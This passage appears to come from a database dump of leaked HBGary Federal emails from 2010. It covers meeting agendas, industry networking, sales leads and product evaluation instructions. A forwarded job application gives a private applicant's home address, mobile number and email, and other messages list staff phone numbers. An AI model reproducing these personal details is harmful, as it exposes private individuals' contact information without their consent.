2010 1:00 PM\r\nTime Zone:(GMT-05:00) Eastern Time (US &amp; Canada)\r\nLocation:WF4 Conf 4A\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nAgenda\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Discuss contents of white paper - All\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Write whitepaper outline\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Commercial Model- Basics from HBGary, White Canvas Group, TASC\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mobile - Black Bird?? Working on NDA with them\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Security - HBGary\r\nd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Infrastructure - RackSpace? Google? Akami? Apple? - working on NDA\'s with them\r\ne.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Content Creation- TASC\r\nf.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Linguistics - Archimedes Global\r\ng.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thought Leadership- All\r\ni.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Online opinions\r\nii.&nbsp;&nbsp;&nbsp;&nbsp; Online strategy\r\niii.&nbsp;&nbsp;&nbsp; Online delivery\r\niv.&nbsp;&nbsp;&nbsp;&nbsp; Methods of Effectiveness - Archimedes Global (working NDA and hopefully TA after meeting)\r\nh.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Delivery - HBGary/White Canvas Group\r\ni.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Experience - All\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Define customer list - All\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Preliminary Schedule for meetings and paper - All\r\n\r\nOnce we have completed our discussions we can move into a classified room to start writing.&nbsp;\r\n\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp;&nbsp; &lt;&lt;ole0.bmp&gt;&gt;&nbsp; |Chris Clair | Program Manager | 703.449.3964\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14942,'aaron_hbgary_com/14942.html'),(5863,'2010-04-30','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004268.M329804P14101Q719.eml','\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,aaron@hbgary.com,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,tjriesen@archimedesglobal.com,jon@whitecanvasgroup.com,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>','Media Strategy Capabilities Paper','\r\n\r\n\r\n\r\n\r\nMedia Strategy Capabilities Paper\r\n\r\n\r\n\r\n\r\nType:Single Meeting\r\nOrganizer:Clair, Chris (TASC)\r\nStart Time:Tuesday, May 04, 2010 10:00 AM\r\nEnd Time:Tuesday, May 04, 2010 1:00 PM\r\nTime Zone:(GMT-05:00) Eastern Time (US &amp; Canada)\r\nLocation:WF4 Conf 4A\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nAgenda\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Discuss contents of white paper - All\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Write whitepaper outline\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Commercial Model- Basics from HBGary, White Canvas Group, TASC\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mobile - Black Bird?? Working on NDA with them\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Security - HBGary\r\nd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Infrastructure - RackSpace? Google? Akami? Apple? - working on NDA\'s with them\r\ne.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Content Creation- TASC\r\nf.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Linguistics - Archimedes Global\r\ng.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thought Leadership- All\r\ni.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Online opinions\r\nii.&nbsp;&nbsp;&nbsp;&nbsp; Online strategy\r\niii.&nbsp;&nbsp;&nbsp; Online delivery\r\niv.&nbsp;&nbsp;&nbsp;&nbsp; Methods of Effectiveness - Archimedes Global (working NDA and hopefully TA after meeting)\r\nh.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Delivery - HBGary/White Canvas Group\r\ni.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Experience - All\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Define customer list - All\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Preliminary Schedule for meetings and paper - All\r\n\r\nOnce we have completed our discussions we can move into a classified room to start writing.&nbsp;\r\n\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp;&nbsp; &lt;&lt;ole0.bmp&gt;&gt;&nbsp; |Chris Clair | Program Manager | 703.449.3964\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6367,'aaron_hbgary_com/6367.html'),(5864,'2010-04-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004268.M92472P14101Q718.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: ExecutiveBiz 4x24 Cyber Group Follow-up (Please Read)','Final list of folks in the cyber group.From my iPhoneBegin forwarded message:From: Jennifer Jordan-Harrell &lt;jennifer@executivebiz.com&gt;\r\nDate: April 30, 2010 1:10:39 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: ExecutiveBiz 4x24 Cyber Group Follow-up (Please Read)\r\n\r\n\r\n\r\n\r\nGood Afternoon Aaron,\r\n\r\nWe are so excited to have gotten such an overwhelming\r\nresponse from the companies and executives who we reached out to for\r\nparticipation in our newly formed Cyber Group.  You should have already received\r\ninformation that the kickoff dinner has been scheduled for June 15th. \r\nIf for some reason you are unable to attend that evening, rest assured that you\r\nwill be kept informed and will receive all materials distributed to the group.\r\n\r\n \r\n\r\nIf you haven’t done so, please make sure you are in\r\nthe process of getting me your most recent Corporate Bio, Executive Photo and\r\nall contact information.  We are solidifying the dinner schedule for the\r\ncoming year and will forward this information to you as soon as it is in\r\nplace.  You will also be hearing from various members of our organization\r\nregarding your VIP (and two associate) memberships to the Potomac Officers Club\r\n(which is a complimentary part of your 4x24 membership package), and to set up\r\nyour visibility/branding interview.   Hopefully you will be\r\nregistering for the upcoming POC (Potomac Officers Club) event featuring the\r\nnew General Services Administrator – Martha Johnson.  For your\r\nconvenience and more info:  https://www.potomacofficersclub.com/POC/event_next.php\r\n\r\n\r\n \r\n\r\nI am attaching the current group roster.  Given the\r\noverwhelming response and the number of companies and executives that we are\r\nstill reviewing, it is very likely that we will have another Cyber Group in the\r\nworks very shortly.  As with all of our 4x24 members we ask that you take\r\na minute to consider any executive or company that you think we may have\r\noverlooked for participation. I look forward to hearing from you very shortly\r\non this, as your personal endorsement and intro to a prospective member carries\r\nthe most weight in who we select.  This sort of referral is precisely what\r\nhas enabled us to build such a compatible and quality forum. \r\n\r\n \r\n\r\nI look forward to meeting you personally, and am available\r\nto answer any questions you have.\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nSincerely,\r\n\r\n \r\n\r\nJennifer Jordan-Harrell\r\n\r\nGroup Manager\r\n\r\n \r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14381,'aaron_hbgary_com/14381.html'),(5865,'2010-04-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004269.M861619P14101Q720.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: New Article','Begin forwarded message:From: David Willson &lt;willson.david.l@gmail.com&gt;\r\nDate: April 30, 2010 1:55:24 PM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: New Article\r\nTed, here is a draft copy of my article that will be published next week in CyberPro.\r\n \r\nDave\r\n\r\n',14561,'aaron_hbgary_com/14561.html'),(5866,'2010-04-30','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297004270.M78660P14101Q721.eml','\"Etue, David\" <david.etue@fidelissecurity.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: Opportunity','Hi all,\r\nI had seen it already, but thanks all the same, keep em coming. I had\r\nasked our new inside sales, Aaron, to contact all the SIs listed as\r\ninterested parties, to dig a bit and see what he could discover. David\r\nand I recently met with Kevin Bearden who runs cyber there, and he\r\npromised to get us in with his team. I\'ve pinged him once but I\'ll pick\r\nup the agitation level some...\r\n\r\nSorry to be tardy, requirements I was working were let to SIs this week,\r\nso I\'ve been snowed.\r\nMary \r\n\r\n-----Original Message-----\r\nFrom: Etue, David \r\nSent: Thursday, April 29, 2010 3:49 AM\r\nTo: Aaron Barr; Bob Slapnik; Sullivan, Mary\r\nSubject: RE: Opportunity\r\n\r\nInteresting.  I\'m not sure if this is being written for someone in\r\nparticular.  The \"Full packet capture analysis will be performed using\r\nthis system with a sixty day data retention requirement\" is really\r\ngeared for a forensics capture versus real-time analysis solution like\r\nFidelis though.  \r\n\r\nWe\'ve been looking for a better entry at State, and when I mentioned to\r\nAdam Meyers last week that we had customers taking output from forensics\r\nsolutions and creating rules in our product, he said he was interested\r\nin hearing more.\r\n\r\nMary leads State for us, so I\'ll leave the call to her.  My guess says\r\nwe are definitely interested in taking our joint messaging to State, the\r\nquestion is if this is the right way.\r\n\r\nDavid\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 28, 2010 11:11 PM\r\nTo: Etue, David; Bob Slapnik\r\nSubject: Opportunity\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=8a83d867727e20017fa\r\n94feccd9c32f9&tab=core&_cview=0\r\n\r\nWhat do you guys think?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3811,'aaron_hbgary_com/3811.html'),(5867,'2010-04-30','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004272.M372692P14101Q722.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Lightscribe','Got the DVD burner today. Good results, much more pro than marker or  \r\nstick on labels.\r\n\r\n',9995,'aaron_hbgary_com/9995.html'),(5868,'2010-04-30','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004273.M870822P14101Q723.eml','\"Barr Aaron\" <aaron@hbgary.com>','PSYOPS Response','I like the image effects in pages for iPad. \r\n\r\n',16545,'aaron_hbgary_com/16545.html'),(5869,'2010-04-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004279.M404467P14101Q724.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: ExecutiveBiz 4x24 Cyber Group Follow-up (Please Read)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat group.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, April 30, 2010 11:06 AM\r\nTo: Penny Leavy; Bob Slapnik\r\nSubject: Fwd: ExecutiveBiz 4x24 Cyber Group Follow-up (Please Read)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFinal list of folks in the cyber group.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jennifer\r\nJordan-Harrell &lt;jennifer@executivebiz.com&gt;\r\nDate: April 30, 2010 1:10:39 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: ExecutiveBiz 4x24 Cyber Group Follow-up (Please Read)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nAfternoon Aaron,\r\n\r\nWe\r\nare so excited to have gotten such an overwhelming response from the companies\r\nand executives who we reached out to for participation in our newly formed\r\nCyber Group.&nbsp; You should have already received information that the\r\nkickoff dinner has been scheduled for June 15th.&nbsp; If for some\r\nreason you are unable to attend that evening, rest assured that you will be\r\nkept informed and will receive all materials distributed to the group.\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou haven&#8217;t done so, please make sure you are in the process of getting me your\r\nmost recent Corporate Bio, Executive Photo and all contact information.&nbsp;\r\nWe are solidifying the dinner schedule for the coming year and will forward\r\nthis information to you as soon as it is in place.&nbsp; You will also be\r\nhearing from various members of our organization regarding your VIP (and two\r\nassociate) memberships to the Potomac Officers Club (which is a complimentary\r\npart of your 4x24 membership package), and to set up your visibility/branding\r\ninterview.&nbsp;&nbsp; Hopefully you will be registering for the upcoming POC\r\n(Potomac Officers Club) event featuring the new General Services Administrator\r\n&#8211; Martha Johnson.&nbsp; For your convenience and more info:&nbsp; https://www.potomacofficersclub.com/POC/event_next.php\r\n\r\n&nbsp;\r\n\r\nI\r\nam attaching the current group roster.&nbsp; Given the overwhelming response\r\nand the number of companies and executives that we are still reviewing, it is\r\nvery likely that we will have another Cyber Group in the works very\r\nshortly.&nbsp; As with all of our 4x24 members we ask that you take a minute to\r\nconsider any executive or company that you think we may have overlooked for\r\nparticipation. I look forward to hearing from you very shortly on this, as your\r\npersonal endorsement and intro to a prospective member carries the most weight\r\nin who we select.&nbsp; This sort of referral is precisely what has enabled us\r\nto build such a compatible and quality forum. \r\n\r\n&nbsp;\r\n\r\nI\r\nlook forward to meeting you personally, and am available to answer any\r\nquestions you have.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nJennifer\r\nJordan-Harrell\r\n\r\nGroup\r\nManager\r\n\r\n&nbsp;\r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16365,'aaron_hbgary_com/16365.html'),(5870,'2010-05-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004279.M699248P14101Q725.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#ay9cbzjhcncy8i5c','Begin forwarded message:From: &lt;niles@global.t-bird.edu&gt;Date: April 30, 2010 7:47:16 PM MDT\r\nTo: &lt;ted@hbgary.com&gt;Subject: 87445313  Multi-Source Intelligence Analyst  Monster Resume #ay9cbzjhcncy8i5c\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNiles Watterson \r\n9971 Blackbird Cir\r\nHighlands Ranch, CO  80130\r\nUS\r\nniles@global.t-bird.edu\r\n\r\n\r\n\r\n\r\n\r\nMobile: 303-669-5026  Contact Preference: Email\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n \r\n													Download Job Seeker&#39;s Word® Resume\r\n\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\nay9cbzjhcncy8i5c   Resume Headline: Watterson N information security  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\nNiles Watterson\r\n9971 Blackbird Circle, Highlands Ranch, CO  80130 | Mob: 303-669-5026 | niles@global.t-bird.edu\r\n\r\n \r\nRELEVANT SKILLS AND EXPERIENCE:\r\nMaster’s degrees in Information Systems Security and International Business.\r\nFluent in Russian and Czech; c\r\nonversational German; basic Arabic.\r\nInformation systems security professional with 3 years experience.\r\n \r\nEDUCATION:\r\n University of Denver\r\nMaster of Applied Science\r\n, Information &amp; Communications Technology, Information Systems Security focus2010 (candidate)\r\nCompleted course work in information systems security principles, network security &amp; ethical hacking, cryptography, cyber-security law, TCP/IP networks, enterprise architecture.  Will certify for CISSP (Associate of ISC2) and Certified Ethical Hacker (CEH) exams, Spring 2010.\r\n\r\n Thunderbird School of Global Management\r\nMaster of International Management, 2000\r\nCourse work in International Political Economy, strategic intelligence in diplomacy and commerce\r\n, finance, statistics, accounting, import/export, countertrade &amp; offsets, marketing, cross-cultural communication.  Specialist in European regional business environment.  Member of Thunderbird Rugby Football Club.\r\n \r\nBrigham Young University\r\nBA Russian, 1995\r\n\r\nStudies focused on the language, history, politics, and culture of Russia.  TA for 100-level courses.  Part-time language instructor (Russian and Czech).  Russian language rating: ACTFL 2+ (advanced non-native speaker).  National Collegiate Honors Council study abroad in Czech Republic; Fall, 1992.  Study abroad in Russia; Winter, 1993.\r\n \r\nEXPERIENCE:\r\n \r\nTrustwave\r\nProject Facilitator\r\n\r\n2009 - CurrentSME for Trustwave Governance, Risk Management, and Compliance portal.  Mapped Massachusetts privacy law (201 CMR 17.00) requirements to PCI-DSS high level controls for GRC initiative.  Developed subject expertise in other regimes, including California SB 1386, federal HR 2221 DATA Act, HIPAA, HITECH, GLBA, and ISO 270001.  \r\n \r\nWatterson Associates, LLC\r\n\r\nReal Estate Developer\r\n2000 - 2009\r\nGeneral partner in investment and development partnerships.  Sourced and acquired new properties.  Negotiated contracts, development agreements, financing.  Managed development approval process.\r\n \r\nQwest Communications International\r\n\r\nInternet Application Developer\r\n1999 - 2000\r\nResponsible for coding, development, and maintenance of business group’s web-based reporting and analysis portal.  Site supported deployment of US West’s “Choice TV and Online” VDSL service.\r\n\r\n \r\nInformation Security and Technical Skills:\r\nOperating Systems: Windows, Mac OSX, Linux (Backtrack 4)\r\nApplications: Nmap/Zenmap, Wireshark, Nessus,\r\n Snort, Netcat, Kismet, etc.\r\n OTHER:\r\nAvid runner; competed in 2008 St. George Marathon, 2009 Pioneer Trails Half Marathon.\r\n\r\nPart-time mixed martial arts instructor and active tournament competitor.  \r\nVolunteer Boy Scout leader.\r\n\r\n\r\n\r\n\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCurrent Career Level:\r\nExperienced (Non-Manager)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYears of relevant work experience:\r\n5+ to 7 Years\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWork Status:\r\nUS - I am authorized to work in this country for any employer.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nActive Security Clearance:\r\nNo\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nSelected Locations:\r\nUS-CO-Denver South\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRelocate:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWillingness to travel:\r\nUp to 50% travel\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n\r\nLanguages:\r\nLanguages\r\nProficiency Level\r\n\r\n\r\n\r\nArabic\r\nBeginner\r\n\r\n\r\n\r\nCzech\r\nAdvanced\r\n\r\n\r\n\r\nGerman\r\nIntermediate\r\n\r\n\r\n\r\nRussian\r\nIntermediate\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n* You may download a Word document of this resume from the Software Application Developer, Windows Platform folder. View Resume\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2785,'aaron_hbgary_com/2785.html'),(5871,'2010-05-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004280.M601198P14101Q726.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Evaluating HBGary Software','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI sent this email to Bob Nissen.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com]\r\n\r\nSent: Saturday, May 01, 2010 6:52 PM\r\nTo: \'r.nissen@radium.ncsc.mil\'\r\nSubject: Evaluating HBGary Software\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nGood to see you on Friday.&nbsp; We discussed the next step\r\nbeing your evaluation of Responder Professional.&nbsp; It has all of the main\r\ncomponents within the Threat Monitoring System &#8211; Digital DNA for binary\r\nscoring, REcon for runtime tracing, and memory forensics &#8211; albeit in a\r\nstandalone system.&nbsp; Additionally, Responder Pro has a suite of binary\r\nanalysis capabilities.\r\n\r\n&nbsp;\r\n\r\nI recommend that you start your usage of Responder Pro via\r\nits user interface so you learn about what it does and how it works.&nbsp; \r\n\r\nThen if you want to analyze a number of binaries in an\r\nautomated, unattended fashion you can use the command line interface called\r\nInspector Test Harness Client (ITHC).&nbsp; Let me know when you are ready to\r\nuse ITHC and I&#8217;ll have one of my engineers send you a plug-in script.\r\n\r\n&nbsp;\r\n\r\nHere is how to download the Responder eval software\r\n(includes the Digital DNA and REcon modules).&nbsp; Please feel free to forward\r\nthis email to others so they can evaluate it also.\r\n\r\n&nbsp;\r\n\r\n- Go to www.hbgary.com\r\n\r\n- Click on Register (upper right corner) to create an\r\naccount (fill in the form)\r\n\r\n- Send an email to bob@hbgary.com and support@hbgary.com to\r\nrequest the eval software.&nbsp; One of us will manually enable your account\r\nand send you an email that you can proceed with the download.\r\n\r\n- Click on PORTAL\r\n\r\n- On the portal page click on My Downloads\r\n\r\n- Download the software, install it and run it.\r\n\r\n- Send the Machine ID to bob@hbgary.com and\r\nsupport@hbgary.com, then we will send you a 14-day eval key.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12063,'aaron_hbgary_com/12063.html'),(5872,'2010-05-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004280.M900538P14101Q727.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Evaluating HBGary Software','ok. &nbsp;I am going to follow up with Matt Bodman on Monday. &nbsp;I will call you before I call him.AaronOn May 1, 2010, at 6:52 PM, Bob Slapnik wrote:Aaron,&nbsp;I sent this email to Bob Nissen.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Saturday, May 01, 2010 6:52 PMTo:&nbsp;\'r.nissen@radium.ncsc.mil\'Subject:&nbsp;Evaluating HBGary Software&nbsp;Bob,&nbsp;Good to see you on Friday.&nbsp; We discussed the next step being your evaluation of Responder Professional.&nbsp; It has all of the main components within the Threat Monitoring System – Digital DNA for binary scoring, REcon for runtime tracing, and memory forensics – albeit in a standalone system.&nbsp; Additionally, Responder Pro has a suite of binary analysis capabilities.&nbsp;I recommend that you start your usage of Responder Pro via its user interface so you learn about what it does and how it works.&nbsp;Then if you want to analyze a number of binaries in an automated, unattended fashion you can use the command line interface called Inspector Test Harness Client (ITHC).&nbsp; Let me know when you are ready to use ITHC and I’ll have one of my engineers send you a plug-in script.&nbsp;Here is how to download the Responder eval software (includes the Digital DNA and REcon modules).&nbsp; Please feel free to forward this email to others so they can evaluate it also.&nbsp;- Go to&nbsp;www.hbgary.com- Click on Register (upper right corner) to create an account (fill in the form)- Send an email to&nbsp;bob@hbgary.com&nbsp;and&nbsp;support@hbgary.com&nbsp;to request the eval software.&nbsp; One of us will manually enable your account and send you an email that you can proceed with the download.- Click on PORTAL- On the portal page click on My Downloads- Download the software, install it and run it.- Send the Machine ID to&nbsp;bob@hbgary.com&nbsp;and&nbsp;support@hbgary.com, then we will send you a 14-day eval key.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;',1182,'aaron_hbgary_com/1182.html'),(5873,'2010-05-02','\"Leary, Mark F (IS)\" <mark.leary@ngc.com>','/aaron@hbgary.com/new/1297004281.M117328P14101Q728.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Question for you','You do know we ran the HBGary products through the hoops at the CSOC for\r\na few months?  I think the feedback was \"too labor intensive\" for the\r\npayback.  If there is something new - I\'m open.  Where you located?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 29, 2010 8:41 AM\r\nTo: Leary, Mark F (IS)\r\nSubject: EXTERNAL:Question for you\r\n\r\nMark,\r\n\r\nThe HBGary product side were asking me who would be a good person to\r\ntalk with at NG about their new products, I thought naturally you.\r\n\r\nIf you have some time maybe we can get some lunch (drink) I can run down\r\nActive Defense, Threat Management Center, and new additions to DDNA and\r\nResponder and get your thoughts.  Then we could schedule maybe a more\r\nformal demo.\r\n\r\nTMC maybe not a huge benefit to an NG like organization, but still\r\npretty neat.  We are heading up to NSA tomorrow to brief some combined\r\ngroups on it.  The base system can process around 20K binaries a day and\r\nprioritize based on threat score using DDNA.  REcon is hooked in as the\r\nprocessing capability and a front end which allows users to search the\r\nprocessed repository for any sort of minute detail that was recorded.\r\nSo if you want to search your malware repository for how many samples\r\ncame from an IP set, or contained a specific MUTEX, or had a specific\r\nstring, etc.  NSAs words, they thought it could be a game changer for\r\nthem for processing malware.\r\n\r\nActive defense is more for the enterprise.  It manages the deployments\r\nof DDNA to the endpoints and also provides a front end for searching\r\nyour enterprise for specific information.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',111,'aaron_hbgary_com/111.html'),(5874,'2010-05-02','\"Leary, Mark F (IS)\" <mark.leary@ngc.com>','/aaron@hbgary.com/new/1297004281.M399383P14101Q729.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Question for you','Hey - Steve is in town and looking for some company tomorrow?\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 29, 2010 8:41 AM\r\nTo: Leary, Mark F (IS)\r\nSubject: EXTERNAL:Question for you\r\n\r\nMark,\r\n\r\nThe HBGary product side were asking me who would be a good person to talk\r\nwith at NG about their new products, I thought naturally you.\r\n\r\nIf you have some time maybe we can get some lunch (drink) I can run down\r\nActive Defense, Threat Management Center, and new additions to DDNA and\r\nResponder and get your thoughts.  Then we could schedule maybe a more formal\r\ndemo.\r\n\r\nTMC maybe not a huge benefit to an NG like organization, but still pretty\r\nneat.  We are heading up to NSA tomorrow to brief some combined groups on\r\nit.  The base system can process around 20K binaries a day and prioritize\r\nbased on threat score using DDNA.  REcon is hooked in as the 